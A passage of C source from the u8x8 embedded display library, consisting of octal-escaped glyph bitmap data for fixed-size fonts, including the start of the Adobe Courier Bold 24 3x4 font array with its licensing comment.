\"\\376\\316\\317\\307\\307\\307\\307\\317\\316\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37=\\71yqqqqq\"\n  \"q\\71\\71\\71\\21\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\70\\30\\14\\6\\14\\30\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \"\\376\\316\\317\\307\\307\\307\\307\\317\\316\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37=\\71yqqqqq\"\n  \"y\\71\\71\\71\\71\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \"\\376\\316\\317\\307\\307\\307\\307\\317\\316\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37=\\71yqqqqq\"\n  \"y\\71\\71\\71\\71\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\16\\34\\30\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177p\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70\\30\\34\\16\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177p\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0 \\60\\70\\30\\14\\6\\14\\30\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177p\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177p\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30\\234\\234\\234\\334\\334\\374\\370\\370\\360\\370\\370\\234\\34\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\300\\363\"\n  \"\\363{\\71\\35\\34\\34\\34\\34\\33\\77\\177\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77|xppppp\"\n  \"x\\70>\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70<\\14\\14\\30\\30\\60\\60<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\377\"\n  \"\\377\\377\\14\\6\\7\\7\\7\\7\\17\\376\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pp\\0\\0\\0p\"\n  \"p\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\34\\70\\60p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\"\n  \"<\\36\\17\\7\\7\\7\\7\\7\\17\\36<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"x<>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`p\\60\\70\\34\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\"\n  \"<\\36\\17\\7\\7\\7\\7\\7\\17\\36<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"x<>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\70\\30\\14\\6\\14\\30\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\"\n  \"<\\36\\17\\7\\7\\7\\7\\7\\17\\36<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"x<>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70<\\14\\14\\30\\30\\60\\60<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\"\n  \"<\\36\\17\\7\\7\\7\\7\\7\\17\\36<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"x<>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\"\n  \"<\\36\\17\\7\\7\\7\\7\\7\\17\\36<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"x<>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\"\n  \"pppqsssqppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36\\36\\36\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\"\n  \"<\\36\\16\\17\\207\\307\\347\\377~>>\\377\\367\\303\\0\\0\\0\\0\\0\\0\\0\\303\\357\\377|<~\\177wsqp\"\n  \"x\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\16\\34\\30\\70\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177ppppp\\70\"\n  \"\\34\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`p\\60\\70\\34\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177ppppp\\70\"\n  \"\\34\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0 \\60\\70\\30\\14\\6\\14\\30\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177ppppp\\70\"\n  \"\\34\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177ppppp\\70\"\n  \"\\34\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`p\\60\\70\\34\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\77\"\n  \"\\377\\377\\347\\207\\0\\0\\0\\207\\347\\377\\377\\77\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\376\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70<\\77\\77;\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377>\\36\\17\\7\\7\\7\\7\\17\\36>\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377>\\70xppp\"\n  \"px\\70>\\37\\17\\3\\0\\0\\0\\0\\0\\70\\70\\70\\77\\77\\77\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\77\"\n  \"\\377\\377\\347\\207\\0\\0\\0\\207\\347\\377\\377\\77\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\376\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70<\\77\\77;\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Bold-R-Normal--34-240-100-100-M-200-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 95/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courB24_3x4_r[9124] U8X8_FONT_SECTION(\"u8x8_font_courB24_3x4_r\") = \n  \" ~\\3\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 qsq \"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\17\\37\\17\\0\\0\\0\\17\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\207\"\n  \"\\207\\377\\377\\377\\207\\207\\207\\377\\377\\377\\207\\207\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\377\\377\\377\\3\\3\\3\\377\\377\"\n  \"\\377\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360p\\70\\77\\77\\77\\70x\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\17\\37\\36\\34<<\\70xx\\361\\361\\341\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\34\\30\\370\\370\\370\\70\"\n  \"\\30\\34\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\370\\34\\14\\14\\14\\34\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\301\"\n  \"\\303\\347ff\\66\\267\\333\\331\\334\\314\\316\\206\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\17\\77q`\"\n  \"``q\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\300\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\317\\377\\377\\371\\340\\300\\200\\1\\301\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177qppqs\\77\\36\"\n  \"\\177\\177qq\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\374|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\377\\377\\77\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\16\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\34<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\77\\377\\377\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\77\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\200\\0\\374\\374\\374\\0\\200\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"A\\341\\363\\177\\77\\37\\17\\37\\77\\177\\363\\341A\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppp\"\n  \"pppp\\377\\377\\377ppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374|<\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\"\n  \"ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xxx\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\360\\374\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\77\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370x\\34\\34\\34\\34\\34x\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77<ppppp\"\n  \"<\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360px\\370\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\70\\34\\34\\34\\34\\34\\70\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\200\\300\\340\\360x<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0px|~\\177wsqpp\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0ppx\\70\\34\\34\\34\\34\\34<\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\34\\34\\34\\34<>\\177\\367\\343\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70xppppppp\"\n  \"x<\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370|\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\360\\374\\277\\217\\207\\201\\200\\377\\377\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3sss\\177\"\n  \"\\177\\177ss\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\16\\16\\16\\16\\36\\36<\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<\\70xpppppp\"\n  \"x<\\77\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x\\70<\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\377\\377s\\70\\30\\34\\34\\34<x\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\77>xpppp\"\n  \"x<\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\34\\34\\34\\374\\374\\374<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\376\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p|\\177\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\70\\34\\34\\34\\34\\34\\70\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\"\n  \"\\347\\377~<<\\34\\34<>\\177\\367\\341\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77\\70xpppp\"\n  \"x\\70\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370x<\\34\\34\\34<x\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\"\n  \"\\37\\177x\\360\\340\\340\\340p\\70\\237\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xxpppp\\70\\70\"\n  \"\\36\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\6\\17\\17\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xxx\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\6\\17\\17\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374|\\34\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  